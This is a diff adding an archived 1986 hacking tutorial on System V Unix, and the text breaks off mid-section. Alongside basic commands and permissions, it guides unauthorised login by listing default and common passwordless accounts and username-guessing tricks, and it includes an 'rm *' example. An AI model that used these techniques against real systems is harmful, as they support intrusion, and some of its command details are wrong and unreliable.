³/ ³/ U L T + |\ RYPTIC / | \ \ / ³\ + | \ / | \ ³ \ + |\ | | \ + | \ | + | \|IGHT + / ` + + + + + - Kryptic Night, Data Kult, Lord Logics, Shadow Walker, Bounty Hunter - + Nacht Habicht + diff --git a/textfiles.com/hacking/UNIX/unixhold.txt b/textfiles.com/hacking/UNIX/unixhold.txt new file mode 100644 index 00000000..8dcf2f1c --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixhold.txt @@ -0,0 +1,2821 @@ + + ************************************************* + ************************************************* + ** ** + ** Unix Use and Security From ** + ** The Ground Up ** + ** ** + ** by ** + ** ** + ** The Prophet ** + ** ** + ** ** + ************************************************* + ************************************************* + +December 5, 1986. + +INTRODUCTION +------------ + The Unix operating system is one of the most heavily used mainframe +operating systems today. It runs on many different computers (Dec VAX's, AT&T's +3bx series, PDP-11's, and just about any other you can think of- including +PC's), and there are many different, but pretty much similar, versions of it. +These Unix clones go by many different names- here are the most common: Xenix, +Ultrix, Ros, IX/370 (for the IBM 370), PCIX (for the IBM PC), and Berkely (BSD) +Unix. This file will concentrate on AT&T System V Unix, probably the most +heavily used version. (The next most heavily used is Berkely Unix.) This file +will cover just about everything all but THE most advanced hacker will need to +know about the Unix system, from the most rodent information to advanced +hacking techniques. This is the second version of this file, and as I discover +any errors or new tricks, I will update it. This file is, to the best of my +knowledge, totally accurate, however, and the techniques in it will work just +as described herein. Note, that these techniques will work on System V Unix. +Not necessarily all, but most, should work on most other versions of Unix as +well. Later, if this file is received well, and there is demand for another, I +will release a file on yet more advanced techniques. If you wish to contact me, +I can be reached several ways. First, on these boards: + +Shadow Spawn 219-659-1503 +Private Sector 201-366-4431 (As prophet, not The Prophet...some rodent stole + my name.) +Ripco 312-528-5020 +Stalag 13 215-657-8523 +Phreak Klass 2600 806-799-0016 + +Or at this voice message system: + +800-556-7001 +Box 7023 + +I welcome any suggestions, corrections, or feedback of any kind. And lastly, +thanks for taking the time to read this: + +THE USUAL DISCLAIMER: +--------------------- + This file is for [of course] informational purposes only. I +don't take responsibility for anything anyone does after reading this file. +_______________________________________________________________________________ + + +IDENTIFYING UNIX SYSTEMS AND LOGGING IN +--------------------------------------- + A Unix system can easily be identified by its prompts. When you first +connect to a Unix system, you should receive the login prompt, which is usually +"Login:" (Note, that the first character may or may not be capitalized.) On +some systems, this prompt may be ";Login:" or "User:" (Again, the first letter +may or may not be capitalized.) This may be preceded by a short message, +(usually something like "WARNING!!! This system is for authorized users +only!"), the name of the company that owns the system, or the uucp network name +of the system. (The uucp facilities will be explained in detail later.) At this +point, you should enter the user name and press return. (You should be in +lowercase if your terminal supports it.) You should then receive the password +prompt, "Password:" (And yet again, the "P" may or may not be capitalized.) At +this point, you should enter your password and press return. If you have +specified the correct username/password pair, you will then be admitted into +the system. If you have entered a non-existant username or an incorrect +password, you will receive the message "Login incorrect" and will be returned +to the login prompt. There is little information given before login, and there +is no way to find valid usernames from pre-login information. + There are no "default" passwords in Unix. When the system is initially +set up, none of the default accounts or any of the accounts created by the +system operators has a password, until the system operator or the account owner +set one for the account. Often, lazy system operators and unwary users do not +bother to password many (and in some cases, all) of these accounts. To log in +under an account that doesn't have a password, you have only to enter the +username at the login prompt. + You may encounter some occasional error messages when attempting to log +in under certain accounts. Here are some of the more common messages, and their +causes: + 1. "Unable to change directory to /usr/whatever"-This means that the + account's home directory, the directory which it is placed in + upon logon, does not exist. On some systems, this may prevent + you from logging under that account, and you will be returned + to the login prompt. On other systems, you will simply be + placed in the root directory. If this is the case, you will + see the message "Changing directory to '/'". + 2. "No shell"-this means that the account's shell, or command + interpreter does not exist. On some systems, the account will + not be allowed to log in, and you will be returned to the login + prompt. On other systems, the account will be admitted into the + system using a default shell, usually the Bourne shell. (The + shell will be explained later.) If this is the case, you will + see the message "Using /bin/sh". + + +UNIX ACCOUNTS +------------- + There are two types of Unix accounts-user and superuser accounts. User +accounts are the normal user accounts. These accounts have no privileges. +Superuser accounts are the system operator accounts. These accounts have full +privileges, and are not bound by the file and directory protections of other +users. In Unix, there is no hierarchy of privileges-either an account has full +privileges, or it has none. + Unix usernames are up to 14 characters long, but usually are within the +range of 1-8. The usernames can contain almost any characters, including +control and special characters. (The accounts will usually not contain the +characters @, control-d, control-j, or control-x, as these characters have +special meanings to the Unix operating system.) The Unix system comes initially +configured with quite a few default accounts, some of which are superuser and +some of which are only user-level accounts. Here is a list of the default +accounts which usually have superuser privileges: +root (Always!) +makefsys +mountfsys +umountfsys +checkfsys + +The root account is always present on the system, and always has superuser +capabilities. (Note: most Unix System V systems come initially set up with a +security feature that prevents superuser accounts from logging in remotely. If +you attempt to log in under a superuser account remotely on a system with this +feature, you will receive the message "Not on console", and will be refused +admission to the operating system. This will NOT prevent you from using +superuser accounts remotely-you simply have to log in under a user account and +then switch over to a superuser account using the su utility, which will be +described later.) +Here is a list of the user-level default accounts: +lp +daemon +trouble +nuucp +uucp +bin +rje +adm +sysadm +sync + +The bin account, although it is only a user account, is particularly powerful, +as it has ownership of many of the system's important directories and files. +Although these are the only default accounts on System V Unix, there are many +other accounts which I have found to be common to many Unix systems. Here is a +list of some of the accounts I have found on many Unix systems: +batch admin user demo test +field unix guest pub public +standard games general student help +gsa tty lpadmin + +Also try variations on the account names, such as rje1, rje2, user1, user2, +etc. Also, try variations on people's names and initials, such as doej, doe, +john, johnd, jjd, etc. + No matter what the format for the usernames, one thing is common to all +systems-almost all of the usernames will begin with a lowercase letter. There +is a good reason for this-when logging into the system, if the first character +of the username you type in is in uppr-case, the system automatically assumes +that your terminal does not support lower-case. It will then send all output to +you in upper-case, with characters that are supposed to be upper-case preceded +by a backslash ("\", the Unix escape character), to differentiate them from the +characters which are meant to be in lower-case. Unix *always* differentiates +between the cases, so it is best to stay in lower-case while on the system. + As mentioned before, there are no "default" passwords on Unix. When an +account is created, it has no password, until the superuser or the account's +owner sets one for it. Unix passwords are a maximum of 11 characters. The +password may contain any character, and the system distinguishes between upper +and lower case characters. Many Unix systems implement a special security +feature under which passwords must contain at least 2 non-alphanumeric +characters (similar to Compuserve's password protection). Yet another password +security feature of Unix allows the superuser to set an expiration date on +users' passwords. + + +COMMAND LOGINS +-------------- + Many systems have accounts known as "command logins". These are +accounts that log in, execute a single command, and are then logged out. These +accounts rarely have passwords. Here is a list of common command logins: +who -This is a particularly useful command login. When you enter this at + the username of a system with this particular account, the system will + display a list of the users currently on the system. A good way to get + valid usernames to hack. +time -Not very useful. Just displays the time. +date -Ditto the above, but displays the current date. Great if you don't + have a calendar. +sync -This default account is sometimes set up as a command login. It merely + executes the sync command, which causes any data which is meant to be + stored to be written to disk. + +UNIX SPECIAL CHARACTERS +----------------------- + The Unix operating system interprets certain characters in special +ways. Provided here is a list of those special characters, and their meanings +to the Unix operating system: + +Control-D -This is the Unix end-of-file character. +Control-J -Some systems interpret this, rather than Control-M, as the + return character, while others may use both. The vast majority, + however, will only use Control-M. +Control-Delete -This is the Unix kill character. It will automatically end + your current process. +@ -Some systems use this as the kill character. +\ -This is the Unix escape character. Its main use it to + differentiate between upper- and lower-case characters when + logged in on a terminal that only supports upper-case. For + instance, if you wanted to send the command "cd /Mrs/data", + (never mind what it does right now), you would type this: + (this is how it would look on your upper-case only terminal) + CD /\MRS/DATA + The backslash before the M would let the system know that the M + supposed to be upper-case, while the others would simply be + interpreted as lower-case. + + The characters will rarely be used in usernames and passwords because +of the way they are interpreted. Note, however, that these values may usually +be changed once inside the system using the stty command, which will be +explained later. for instance, the end of file character could be changed to +control-A if you wished. + +THE UNIX SHELL +-------------- + The Unix shell is the command interpreter program that accepts your +input and carries out your commands. It is NOT the operating system itself, it +is the interface between the user and the operating system. The shell is a +program that is executed when you are logged in, and when you end the shell +program, you are logged out of the system. There is nothing special about the +shell program-it is just a regular program, like any other on the Unix system. +In fact, once you are logged on, you can execute another shell just as you +would execute a program. This ability, to run multiple shell levels, can be +used to perform some interesting tricks that will be detailed later in this +file. There is also more than one kind of shell. All the shells perform the +same basic function of interpreting the user's commands, but there are a few +differences. Here is a list of the different shells, their unique +characteristics, and how to tell which shell you are using: + +Shell +----- +sh -This is the Bourne shell, the standard shell of Unix System V, and the + focus of this file. This shell gives user-level accounts a command + prompt of "$", and "#" for superuser accounts. On Berkely BSD Unix, + this shell gives an ampersand ("&") prompt. + +csh -This is the C shell, developed by the Berkely University Science + department. This shell is pretty much the same as the Bourne shell, but + features different shell programming control structures [shell + programming will be explained later, in the section on Unix software + development], and has a few luxuries such as aliasing (giving a command + or a series of commands a new name), and it keeps a history of the + commands you enter. This shell gives a "%" prompt for user accounts and + a "#" prompt for superuser accounts. + +ksh -This is the new, Korn shell. This shell combines features of both the + Bourne shell and the C shell. It boasts the Bourne shell's easier shell + programming, along with the C shell's aliasing and history. Its prompts + are "$" for users and "#" for superusers. + +rsh -This is the restricted Bourne shell. It is used for accounts that the + superuser wishes to restrict the commands available to. It will not + allow you to execute commands outside of your searchpath (which will be + explained later, also, in the section on software development), and + will not let you change directories or change the values of shell + variables. In all other respects, it is similar to the Bourne shell. A + later section of this file will detail ways to overcome the + restrictions of this shell. + +ua -This is a lousy, menu-driven shell for the AT&T Unix PC. (Yes, there + are some of those with dialups!) It implements a lousy windowing + system that is SLOOOW, even at 2400 baud. Luckily, you can exit to the + Bourne shell from the ua shell. + + These are by no means all of the shells you will run across. These are +only the "official" shells provided by the distributors of the Unix operating +system. I've run across many "home-made" shells in my time. Also, any compiled +program can be used as a shell. For instance, I've used systems run by +businesses where one account logged in using an accounting program as a shell. +This prevented the account from being used to do anything other than use the +accounting program. Other good examples of this are the command logins-the who +command login, for example, uses the who program as its shell. When the program +is finished, the account is logged out. You will most definitely encounter +other such accounts as you hack Unix. + +UNIX FILES AND DIRECTORIES +-------------------------- + Unix files and directories are referenced with pathnames, a la MS-DOS. +If you are familiar with MS-DOs, then you should have no problem understanding +this section. Unix files and directories are referenced in the almost the exact +same way-the only difference is that it uses the "/" character, not the +backslash, to separate the directories in the pathname. + Pathnames are a simple concept to understand, but are difficult to +explain. Imagine the system's files and directories laid out in a tree fashion, +like this: + / (root directory) + : + : + ------------------------- + : : + : : + usr (dir) bill (dir) + : : + -------------- -------------- + : : : : + junk (file) source (dir) memo (file) names (file) + : + +"/" is the root directory. This is the top directory in the system tree, and +all other files and directories are referenced in relation to this directory. +The root directory has 2 subdirectories in it, "usr" and "bill". In the usr +directory, there is a file called "junk" and an empty directory called +"source". In the directory bill, there are 2 files, "memo" and "names". You +specify pathnames by starting at the top of the system, "/", and tracing your +way down the system tree to the file or directory you wish to reference, +separating each directory you must pass through to get to it with a slash. For +instance, the pathname of the file "junk" would be "/usr/junk". The pathname of +the usr directory would be "/usr". The pathname of the source directory would +be "/usr/source". The pathname of the bill directory would be "/bill", and the +pathnames of the 2 files which reside in it would be "/bill/memo" and +"/bill/names". + Files and directories can also be referenced by their base names if +they are in your current directory. For instance, if you were in the directory +"usr", you could reference the file "/usr/junk" by its base name, "junk". If +you were in the root directory, you could reference the bill directory by its +base name, "bill". You can reference the file directly above your current +directory in the system tree as ".." and your current directory can be +referenced as "." + Unix file and directory names can be up to 14 characters in length. The +filename can contain any ASCII character, including control characters, except +a space. It may contain both upper- and lower-case, and Unix does distinguish +between the two. Unix does not use filename extensions, a la VMS or MS-DOS, to +show the kind of file a file is. A period, in Unix, is just another character +in the filename, not a separator between 2 fields in the name. File names which +begin with a period are called "hidden" files-that is, they are only revealed +if you issue a special command. + There are 3 kinds of files in Unix. These are text files, binary files, +and device files. Text files are just what you'd think they are from the name- +files of ASCII text, just like what you're reading right now. Binary files are +executable machine-code files. (There are also executable text files, called +shell scripts, that will be explained in detail in the section on Unix software +development.) Device files are files that represent the system's I/O devices- +disk drives, terminals, etc. Remember, that Unix was created as an enviroment +for software development. Its designers wished for programs written for Unix +systems to be as transportable between different models of machines running +the operating system as possible. By representing the I/O devices as files, +they eliminated the incompatability in the code that handled I/O. The program +simply has to read and write from/to the file, and the Unix operating system +handles the system-dependant details. + +BASIC UNIX COMMANDS +------------------- + This section will describe some basic Unix commands, and detail how to +get further help on-line. It will briefly provide the syntax for a few commands +you will find necessary to know in order to find your way around on the system. + Unix will usually only require that you use the base name of a file or +directory you wish to reference if it is in the directory you are currently in. +Most commands will also let you specify full pathnames if you wish to reference +files in other parts of the system. Most commands will also let you use several +wildcard characters when referencing files and directories. These are: +? -This means to accept any single character in the place of the question + mark. For instance, "t?m" would include both "tom" and "tim". + +* -This means to accept any character, group of characters, or nothing in + the position of the asterisk. For example, "t*m" would include "thom", + "tom", and "tim". +[] -This means to accept any character within the brackets in the position + of the brackets. For instance, "t[oia]m" would include "tom", "tim", + and "tam". You can also specify a range of characters in the brackets + by using a hyphen. For instance, "t[a-c]m" would include "tam", "tbm", + and "tcm". + + Most commands and programs in Unix take their input from the keyboard +and send their output to the screen. With most commands and programs, however, +you can instruct them to draw their input from a text file and redirect their +output to another file instead. For instance, assume there is a program on the +system called "encrypter", that takes its input from the keyboard, encrypts it, +and displays the encrypted data on the screen. You could instruct the program +to take its input, instead, from a previously prepared text file using the +input redirection character, "<". In Unix, as in MS-DOs (which is based in part +on Unix), you execute a program by typing its name. You wish the program to +take its input from a file in the directory you are currently in called +"top_secret". You would type "encrypter < top_secret". The program would then +read in the contents of the file top_secret and encrypt it, then print out the +encrypted form on the screen. Suppose you wanted to use the encrypter program +to encrypt files you wished to keep private? You could redirect the encrypted +output from the screen into another file. To do this, you would use the output +redirection character, ">". Say, you wished to save the output in a file called +"private". You would type "encrypter < top_secret > private". The encrypter +program would then read in the contents of the file top_secret and write the +encrypted output into the file "private". Nothing would be displayed to the +screen. If the file private does not exist, it will be created. If it +previously existed, its contents will be erased and replaced with the output +from the encrypter program. Perhaps you would want to add to the contents of a +file rather than replace its contents? This is done with ">>". The command +"encrypter < top_secret >> private" would append the output from the encrypter +to the current contents of the file private. Again, if the file private does +not already exist, it will be created. + Most commands have one or more options that you can specify. These are +placed after the command itself in the command line, and preceded by a hyphen. +For instance, let's say that the encrypter program had an option called +"x", which caused it to use a different encoding algorithm. You would +specify it by typing "encrypter -x". If a command has two or more options, you +can usually specify one or more together in a stream. For instance, let's say +that the encrypter program has 2 options, x and y. You could specify both like +this: "encrypter -xy". If one or more of the options requires an argument, for +example the x option requires a 2 character key, you can specify the options +separately, like this: "encrypter -xaa -y", where aa is the 2-character key. + The pipe character, "|", is used to channel the output of one command +or program into the input of another. For instance, suppose you had a command +called "report" that formatted documents into report format, and you had a file +called "myreport" that you wished to view in the report format. You could type: +"cat myreport" | report". This would type out the contents of the file myreport +to the report command rather than the screen, and the report command would +format it and display it on the screen. (Note: this example could have been +done with I/O redirection by typing "report < myreport"...but it makes a good +example of the use of pipes.) + You can choose to execute commands and programs in the background-that +is, the command executes, but you are free to carry out other tasks in the +meantime. To do this, type in the command line, followed by " &". For instance, +"rm * &" would delete all the files in the directory, but your terminal would +not be tied up. You would still be free to perform other tasks. When you do +this, the system will print out a number and then return you to the system +prompt. This number is the process number of the command. Process numbers will +be explained later in this section in the entry for the command "ps". The +command can be stopped before its completion with the kill command, also +explained in this section. Example: + $rm * & + 1234 + $ + +Note that when you use background processing, the command or program will still +takes its input from the keyboard (standard input device) and send its output +to the screen (standard output device), so if you wish for the command to work +in the background without disturbing you, you must redirect its input (if any) +and its output (if it's to the screen). + +THE COMMANDS +------------ + +ls -This command lists the files and subdirectories in a directory. If you + simply type "ls", it will display the files in your current directory. + You can also specify the pathname of another directory, and it will + display the files in it. It will not display hidden files (files whose + name begins with a period). + + Options: + a -This option will display all files, including hidden files. + + Example: + $ ls -a + + . .. junk source + $ + +cd -This is the command used to move from one directory to another. To go + to a directory directly below your current directory, type "cd + ". To move up to the directory directly above your current + directory, type "cd .." You can also jump to any directory in the + system from any other directory in the system by specifying the path- + name of the directory you wish to go to, such as "cd /usr/source". + + Example: + $cd /usr/source + $ + +pwd -This prints out the pathname of the directory you are currently in. + Useful if you forget where you're at in the system tree. + + Example: + $pwd + /usr/source + +cat -Displays the contents of a text file on the screen. The correct syntax + is "cat ". You can use basenames or pathnames. + + Example: + $cat memo + Bill, + Remember to feed the cat! + -Martha + $ + +rm -This deletes a file. Syntax: "rm ". + + Example: + $rm junk + $ + +cp -Copies a file. Syntax: "cp file1 file2", where file1 is the file you + wish to copy, and file2 is the name of the copy you wish to create. If + file2 already exists, it will be overwritten. You may specify pathnames + for one or both arguments. + + Example: + $cp /usr/junk /usr/junk.backup + +stty -Displays/sets your terminal characteristics. To display the current + settings, type "stty". To change a setting, specify one of the options + listed below. + + Options: + echo -System echoes back your input. + noecho -System doesn't echo your input. + intr 'arg' -Sets the break character. The format is '^c' for control-c, + etc. '' means no break character. + erase 'arg' -Sets the backspace character. Format is '^h' for control-h, + etc. '' means no backspace character. + kill 'arg' -Sets the kill character (which means to ignore the last line + you typed). Format is the same as for intr and erase, + '^[character]', with '' meaning no kill character. + + Example: + $stty intr '^c' erase '^h' + $stty + stty -echo intr '^c' erase '^h' kill '^x' + +lpr -This command prints out a file on the Unix system's printer, for you + to drop by and pick up (if you dare!) The format is "lpr ". + + Example: + $lp junk + +ed -This is a text file line editor. The format is "edit ". The + file you wish to modify is not modified directly by the editor; it is + loaded into a buffer instead, and the changes are only made when you + issue a write command. If the file you are editing does not already + exist, it will be created as soon as issue the first write command. + When you first issue the edit command, you will be placed at the + command prompt, ":" Here is where you issue the various commands. Here + is list of some of the basic editor commands. + # -This is any number, such as 1, 2, etc. This will move you down + to that line of the file and display it. + d -This deletes the line you are currently at. You will then be + moved to the previous line, which will be displayed. + a -Begin adding lines to the file, just after the line that you + are currently on. This command will put you in the text input + mode. Simply type in the text you wish to add. To return to the + command mode, type return to get to an empty line, and press + the break key (which is whatever character you have set as your + break key). It is important to set the break character with + stty before you use the editor! + / -Searches for a pattern in the file. For example, "/junk" would + search the file from your current line down for the first line + which contains the string "junk", and will move you to that + line if it finds one. + i -Insert. Works similar to a, except that the text is inserted + before the line you are currently on. + p -Prints out a line or lines in the buffer. "p" by itself will + display your current line. "#p" will display the line "#". + You may also specify a range of lines, such as "1,3p" which + will display lines 1-3. "1,$p" will print out the entire file. + w -Write the changes in the buffer to the file. + q -Quit the editor. + + Example: + $edit myfile + Editing "myfile" [new file] + 0 lines, 0 characters + :a + I am adding stupid text to myfile. + This is a test. + ^c [this is assumed as a default break character in this example] + :1,$p + I am adding stupid text to myfile. + This is a test. + :2 + This is a test. + :d + I am adding stupid text to myfile. + :w + :q + $ + +grep -this command searches for strings of text in text files. The format is + grep [string] [file]. It will print out every line in the file that + contains the string you specified. + + Options: + v -Invert. This will print out every line that DOESN'T contain + the string you specified. + + Example: + $ grep you letter + your momma! + I think you're going to get caught. + $ + +who -This will show the users currently logged onto the system. + + Example: + $ who + + root console Mar 10 01:00 + uucp contty Mar 30 13:00 + bill tty03 Mar 30 12:15 + $ + Now, to explain the above output: the first field is the username of + the account. The second field shows which terminal the account is on. + Console is, always, the system console itself. On many systems where + there is only one dialup line, the terminal for that line is usually + called contty. the tty## terminals can usually be either dialups or + local terminals. The last fields show the date and time that the user + logged on. In the example above, let's assume that the current time and + date is March 30, and the time is 1:00. Notice that the time is in 24 + hour format. Now, notice that the root (superuser) account logged in on + March 10! Some systems leave the root account logged in all the time on + the console. So, if this is done on a system you are using, how can you + tell if the system operator is really online or not? Use the ps + command, explained next. + +ps -This command displays information about system processes. + + Options: + u -this displays information on a specific user's processes. For + instance, to display the root account's processes: + $ ps -uroot + + PID TTY TIME CMD + 1234 console 01:00 sh + 1675 ? 00:00 cron + 1687 console 13:00 who + 1780 tty09 12:03 sh + + Now, to explain that: The first field is the process number. + Each and every time you start a processes, running a program, + issueing a command, etc., that process is assigned a unique + number. The second is which terminal the process is being run + on. The third field is when the process was started. The last + field is the base name of the program or command being run. + A user's lowest process number is his login (shell) process. + Note that the lowerst process in the above example is 1234. + This process is being run on the console tty, which means the + superuser is logged on at the system console. Note the ? as the + tty in the next entry, for the cron process. You can ignore any + processes with a question mark as the terminal. These processes + are not bewing carried out by a user; they are being carried + out by the system under that user's id. Next, note the entry + for process # 1687, on the console terminal, "who". this means + that the superuser is executing the who command...which means + he is currently actively on-line. The next entry is interest- + ing...it shows that the root user has a shell process on the + terminal tty09! This means that someone else is logged in + under the root account, on tty09. If more than one person is + using an account, this option will display information for all + of them, unless you specify the next option... + + t -This allows you to select processes run on a specific term- + inal. For example: + $ps -t console + will show all the processes currently being run on the console. + + Example: + Remember, options can usually be combined. This will show all + the root user's processes being run on the system console: + $ ps -uroot -tconsole + + PID TTY TIME CMD + 1234 console 01:00 sh + 1687 console 13:00 who + $ + +kill -Kills processes. Syntax: kill [-#] process#. You must know the process + number to kill it. You can, optionally, specify an option of 1-9, to + determine the power of the kill command. Certain kinds of processes, + like shell processes, require more power to kill. Kill -9 will stop any + process. You must have superuser capabilities fo kill another user's + processes (unless he's using your account). + + Example: + $kill -9 1234 + 1234 killed. + $ + +write -This command is for on-line realtime user to user communications. To + communicate with a user, type "write ". If more than one + person is logged in under that user name, you must specify a specific + terminal you wish to speak to. When you do this, the person you wish + to communicate with will see: + Message from [your account name] tty## [<--your terminal] + + Now you can type messages, and they will be displayed on that person's + terminal when you press return. When you are finished, press control-D + to quit. + + Example: + $ write root + Fuck you I'm a hacker! [This is not advised.] + ^d + $ + +mail -The Unix mail facilities, used to send/receive mail. To send mail, + type "mail ". Enter your message and press control-d to send. + To read your mail, type "mail". Your first letter will be displayed, + and then you will be given a "?" prompt. Here are the legal commands you give at this point: ## -Read message number ##. + d -Delete last message read. + + -Go to next message. + - -Move back one message. + m -Send mail to user. + s -Save last message read. You can specify the name of the file + to which it is saved, or it will be saved to the default file, + mbox. + w -Same as s, but will save the message without the mail file + header. + x -Exit without deleting messages that have been read. + q -Exit, deleting messages that have been read. + p -Print last message read again. + ? -Lists these commands. + + Examples: + To send mail: + $ mail root + Hi bill! This is a nice system. + -John + ^d + $ + To read mail: + $ mail + From john Thu Mar 13 02:00:00 1986 + Hi bill! This is a nice system. + -John + ? d + Message deleted. + ?q + $ + +crypt -This is the Unix file encryption utility. Type "crypt". You will then + be prompted to enter the password. You then enter the text. Each line + is encrypted when you press return, and the encrypted form is displayed + on the screen. So, to encrypt a file, you must use I/O redirection. + Type "crypt [password] < [file1] > [file2]". This will encrypt the con- + tents of file1 and place the encrypted output in file2. If file 2 does + not exist, it will be created. + +passwd -This is the command used to change the password of an account. The + format is "passwd ". You must have superuser capabilities to + change the password for any account other than the one you are logged + in under. To change the password of the account you are currently + using, simply type "passwd". You will then be prompted to enter the + current password. Next, you will be asked to enter the new password. + Then you will be asked to verify the new password. If you verify the + old password correctly, the password change will be complete. (Note: + some systems use a security feature which forces you to use at least + 2 non-alphanumeric characters in the password. If this is the case with + the system you are on, you will be informed so if you try to enter a + new password that does not contain at least 2 non-alphanumeric char- + acters.) + +su -This command is used to temporarily assume the id of another account. + the format is "su ". If you don't specify an account, the + default root is assumed. If the account has no password, you will then + assume that account's identity. If it does have a password, you will + be prompted to enter it. Beware of hacking passwords like this, as the + system keeps a log of all attempted uses, both successful and un- + successful, and which account you attempted to access. + +mkdir -This command creates a directory. the format is "mkdir ". + +rmdir -This command deletes a directory. The directory must be empty first. + The format is "rmdir ". + +mv -Renames a file. The syntax is "mv [oldname] [newname]". You can use + full pathnames, but the new name must have the same pathname as the + old name, except for the filename itself. + +------------------------------------------------------------------------------- + Further help can usually be gained from the system itself. Most systems +feature on-line entries from the Unix System User's Manual. You can read these +entries using the man command. The format is "man ". Some Unix System +V systems also feature a menu-driven help facility. Simply type "help" to +access it. This one will provide you with a list of commands, as well as with +the manual entries for the commands. +------------------------------------------------------------------------------- + +UNIX FILE AND DIRECTORY PROTECTIONS +----------------------------------- + Every Unix account is assigned a specific user number, and a group +number. This is how the system identifies the user. Therefore, 2 accounts with +different usernames but the same user number would be considered by the system +to be the same id. These user and group numbers are what Unix uses to determine +file and directory access privileges. + Unix has three different file/directory permissions: read, write, and +execute. This how these permissions affect access to files: + +read -Allows a user to view the contents of the file. +write -Allows a user to change the contents of a file. +execute -Allows a user to execute a file (if it is an executable type of file; + if it isn't, the user will get an error when trying to execute it). + +This is how these permissions affect access to directories: + +read -Allows a user to list out the files in a directory (ls). +write -Allows a user to save and delete files in this directory. +execute -If a user has execute access to a directory, he can go to that dir- + ectory with the cd command. If he also has read permission to that dir- + ectory, he can also copy files from it and gain information on the + permissions for that directory and the files it contains, with the "l" + option to the ls command, which will be explained soon. + + Unix divides users into 3 classes: user (the owner of the file or dir- +ectory), group (members of the owner's group), and other (anyone who doesn't +fit into the first two classes). You can specify what permissions to give to a +file for each class of user. + To show the permissions of the files in a directory, use "ls -l". This +will list the contents of the directory (as in ls), and will show each's +permissions. For example: + $ls + bin startrek + $ ls -l + drwxrwxrwx 1 bin sys 12345 Mar 10 01:30 bin + -rwxr-xr-- 1 guest users 256 Mar 20 02:25 startrek + + In the above example, the directory we are in contains a subdirectory +called bin and a file called "startrek". Here is an explantion of the fields: +The first field contains the file's type and permissions. Look at the first +field of the first line, "drwxrwxrwx". Note the "d" at the begginning. Then see +the "-" at the begginging of the first field for the file startrek. This shows +the file type. "D" is a directory. "-" is a file. "c" is a device file. Now, +back to the first field of the first line again. Notice the "rwxrwxrwx". These +are the permissions. The permissions are divided into three groups: +[user][group][other]. R stands for read, w stands for write, and x stand for +execute. "rwxrwxrwx" means that all three classes of users, owner, group, and +other, have read, write, and execute permissions to the directory bin. Now look +at the second line. It reads "rwxr-xr--". Notice the "-"'s in the place of some +of the permissions. This means that the file was not given that permission. +Line 2 shows that the owner has read, write, and execute permissions for the +file startrek, members of the owner's group have read and execute permissions +but not write (notice the "-" in the place of the group part's w), and all +others have only read privileges ("r--"...there are hyphens in the place of the +others part's w and x). + Now, let's look at the other fields. The second field is a number (in +this case, the number is one for each line). This shows the number of copies of +this file on the system. The third field shows the name of the owner of file +(or directory). The fourth field shows the username of the owner of the file. +The fifth field, which is not shown on some systems, shows the name of the +owner's group.The sixth field shows the size of the file. the seventh field +shows the time and date the file was last modified. the last field shows the +name of the file or directory. + The command used to change file/directory permissions is chmod. There +are 2 ways to change permissions: symbolically and absolutely. This will +explain both. + When you change permissions symbolically, only the permissions you +specify to be added or deleted will be changed. The other permissions will +remain as they are. The format is: +chown [u, g, or o] [+ or -] [rwx] [file/directory name] +The following abbreviations are used: +u -User (the file or directory's owner) +g -Group (members of the owner's group) +o -Others (all others) +r -Read permission +w -Write permission +x -Execute permission + +You use u, g, and o to specify which group you wish to change the privileges +for. To add a permission, type "chown [class]+[permissions] [filename]". For +instance, to add group write permissions to the file startrek, type "chown g+w +startrek". To delete permissions, use the "-". For instance, to remove the +owner's write access to the file "startrek", type "chown u-w startrek". + + When you set file permissions absolutely, any permissions that you do +not give the file or directory are automatically deleted. The format for +setting permissions absolutely is "chown [mode number] filename". You determine +the mode number by adding together the code numbers for the permissions you +wish to give the file. Here are the permissions and their numbers: + +Others execute permission 1 +Others write permission 2 +Others read permission 4 + +Group execute permission 10 +Group write permission 20 +Group read permission 40 + +User (owner) execute permission 100 +User (owner) write permission 200 +User (owner) read permission 400 + + There are also two special file modes that can be set only absolutely. +These are the UID and GID modes. The UID mode, when applied to an executable +file, means that when another user executes the file, he executes it under the +user number of the owner (in other words, he runs the program as if he were the +owner of the file). If the file has its GID mode bit set, then when someone +executes the file, his group will temporarily be changed to that of the file's +owner. The permission number for the GID mode is 2000, and the number for the +UID mode is 4000. If the uid bit is set, there will be an "S" in the place of +the x in the owner permissions section when you check a file's permissions: +-rwSr-xr-x +If the uid bit is set, and the owner of the file has execute permissions, the S +will not be capitalized: +-rwsr-xr-x +If the gid bit is set, the same applies to the x in the section on group +permissions. + A short note here is in order on how these permissions affect superuser +accounts. They don't-unless the owner of the file is root. All superuser +accounts have the same user number, which means that the system considers them +all to be the same-that is, they are considered to be the root account. Thus, +superuser accounts are only bound by the protections of files and directories +that they own, and they can easily change the permissions of any files and +directories that they do not have the access to that they wish. + +SPECIAL UNIX FILES +------------------ + This section will detail the purposes of some files that are found on +all systems. There are quite a few of these, and knowing their uses and what +format their entries are in is very useful to the hacker. + +THE FILES +--------- + +/etc/passwd -This is the password file, and is THE single most important + file on the system. This file is where information on the + system's accounts are stored. Each entry has 7 fields: + + username:password:user#:group#:description:home dir:shell + + The first field, naturally, is the account's username. The + second field is the account's password (in an encrypted form). + If this field is blank, the account doesn't have a password. + The next field is the account's user number. The fourth field + is the account's group number. The fifth field is for a + description of the account. This field is used only in the + password file, and is often just left blank, as it has no + significance. The sixth field is the pathname of the account's + home directory, and the last field is the pathname of the + account's shell program. Sometimes you may see an account with + a program besides the standard shell programs (sh, csh, etc.) + as its shell program. These are "command logins". These + accounts execute these programs when logging in. For example, + the "who" command login would have the /bin/who program as its + shell. + Here is a typical-looking entry: + + root:hGBfdJYhdhflK:0:1:Superuser:/:/bin/sh + + This entry is for the root account. Notice that the encrypted + form of the password is 13 characters, yet the Unix passwords + are only 11 characters maximum. The last 2 characters are what + is called a "salt string", and are used in the encryption + process, which will be explained in more detail later. Now, + notice the user number, which is zero. Any account with a user + number of 0 has superuser capabilities. The group number is 1. + The account description is "superuser". The account's home dir- + ectory is the root directory, or "/". The account's shell is + the bourne shell (sh), which is kept in the directory /bin. + Sometimes you may see an entry in the password field like this: + :NHFfnldyNjh,21AB: + Notice the period after the 13th character, followed by 2 + digits and 2 letters. If an account has an entry like this, the + account has a fixed expiration date on its password. The first + digit, in this case 2, shows the maximum number of weeks that + the account can keep the same password. The second digit shows + how many weeks must pass before the account can change its + password. (This is to prevent users from using the same old + password constantly by changing the password when forced to and + then changing it back immediately.) The last 2 characters are + an encrypted form of when the password was last changed. + Other unusual password field entries you might encounter are: + 